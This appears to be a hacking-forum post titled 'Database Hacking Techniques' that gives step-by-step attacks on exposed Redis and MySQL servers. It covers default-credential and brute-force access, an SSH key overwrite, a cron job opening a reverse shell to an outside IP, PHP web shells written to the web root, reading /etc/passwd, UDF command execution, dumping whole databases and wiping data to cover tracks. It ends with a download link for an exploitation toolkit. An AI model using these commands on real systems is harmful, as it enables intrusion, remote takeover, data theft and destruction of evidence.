Database Hacking Techniques — MSSQL, MySQL, MongoDB, Redis & Elasticsearch Exploitation & Post-Exploitation

Blacksec · Jul 30, 2026

DATABASE HACKING TECHNIQUES MSSQL • MySQL • MongoDB • Redis • Elasticsearch • Exploitation & Post-Exploitation

DATABASE HACKING: Databases store the crown jewels. This guide covers attacking common database systems — from discovery and exploitation to data extraction and covering tracks. Each database has unique attack surfaces and post-exploitation opportunities.

DATABASE ATTACK SURFACES

Database	Default Port	Auth Method	Common Vulns	Post-Exploit	Difficulty
MySQL/MariaDB	3306	Userassword	Weak creds, SQL injection, UDF injection	SELECT INTO OUTFILE shell, read files	Low
MSSQL	1433	Windows Auth / SQL Auth	Default SA:SA, linked servers, xp_cmdshell	xp_cmdshell RCE, PowerShell	Low-Medium
MongoDB	27017	None (default), SCRAM	No auth enabled, injection in $where	JavaScript eval, NoSQL injection	Low
Redis	6379	Password (often none)	No auth, CONFIG SET, master/slave replication	SSH key overwrite, cronjob RCE	Low
Elasticsearch	9200	None (default)	No auth, dynamic scripting, mass data exposure	Download indexes, search for passwords	Low
PostgreSQL	5432	Password, Peer, LDAP	Weak creds, pg_read_file, large object exfil	COPY TO/FROM file, command execution	Medium
Oracle	1521	Password, OS Auth	Default accounts (scott:tiger), TNS poisoning	Java stored procedures, DBMS_XSLPROCESSOR	High
Cassandra	9042	Password (often none)	No auth, CQL injection	Data extraction, authentication bypass	Low-Medium

REDIS EXPLOITATION

Code:

Redis is the easiest database to exploit (often exposed with no auth):

1. Discovery:
   nmap -p 6379 --script redis-info <target>

2. Connect (no auth):
   redis-cli -h <target> -p 6379
   # If prompted for password → try: redis-cli -h <target> AUTH <password>
   # Common: "redis", "foobared", empty string

3. Enumerate:
   INFO  → server info, version, OS
   KEYS *  → all keys
   DBSIZE  → number of keys
   CONFIG GET *  → all configuration
   CLIENT LIST  → connected clients

4. RCE via SSH key (Linux):
   CONFIG SET dir /root/.ssh/
   CONFIG SET dbfilename authorized_keys
   SET sshkey "\n\nssh-rsa AAAAB3N... root@kali\n\n"
   SAVE
   # Now SSH with your private key

5. RCE via cronjob (Linux):
   CONFIG SET dir /var/spool/cron/crontabs/
   CONFIG SET dbfilename root
   SET cron "\n\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n"
   SAVE
   # Shell every minute

6. RCE via web shell (if Redis + web server same host):
   CONFIG SET dir /var/www/html/
   CONFIG SET dbfilename shell.php
   SET shell "<?php system($_GET['cmd']); ?>"
   SAVE
   # Access: [URL]http://target/shell.php?cmd=id[/URL]

7. Data extraction:
   redis-cli -h <target> --scan --pattern '*' | xargs redis-cli -h <target> DUMP
   # Extracts all keys in Redis dump format

8. Cover tracks:
   CONFIG SET dir /tmp/
   CONFIG SET dbfilename temp.rdb
   FLUSHALL  (⚠ deletes all data — use only if opsec requires)
   # Better: just delete your keys

MYSQL/MARIADB PRIVESC & SHELL

Code:

1. Connect:
   mysql -h <target> -u root -p
   # Default: root:empty (lol)
   # Or: root:root, admin:admin
   # Or: hydra -l root -P passwords.txt mysql://<target>

2. Enumerate:
   SELECT user, host, password FROM mysql.user;
   SELECT @@version, @@datadir, @@basedir;
   SHOW DATABASES;
   SELECT * FROM information_schema.tables;

3. Read files:
   SELECT LOAD_FILE("/etc/passwd");
   SELECT LOAD_FILE("/var/www/html/config.php");
   # MySQL must have FILE privilege

4. Write shell:
   SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";
   # Requires: FILE privilege, target dir writable, secure_file_priv empty
   # Check: SHOW VARIABLES LIKE "secure_file_priv";

5. UDF (User-Defined Function) RCE:
   # If MySQL version < 5.0 or on Windows:
   # 1. Compile .so/.dll with system() function
   # 2. Upload via INTO OUTFILE to plugin dir
   # 3. CREATE FUNCTION sys RETURNS INTEGER SONAME "udf.so";
   # 4. SELECT sys("id");

6. Privilege escalation:
   # If root@localhost with no password → immediate root
   # If not root → look for MySQL credentials in web configs
   # MySQL running as root → any UDF RCE is root RCE

7. Dump databases:
   mysqldump -u root -p --all-databases > dump.sql
   # Or: SELECT ... INTO OUTFILE for specific tables

TOOLKIT

Code:

Database exploitation tools included:
  - sqlmap (latest) + custom tamper scripts
  - MDAT (Multiple Database Attack Tool)
  - NoSQLMap (MongoDB exploitation)
  - Redis RCE scripts (SSH, cron, web shell)
  - All default credential lists for every database
  - Post-exploitation scripts: data extraction + exfiltration

Download: mega.nz/file/BlackSec_DatabaseHacking_2026
Password: DBHack2026
Tools + cheat sheets + practice VMs

Databases don't lie. They store everything. Everything.

Database Hacking Techniques — MSSQL, MySQL, MongoDB, Redis & Elasticsearch Exploitation & Post-Exploitation

Blacksec

Administrator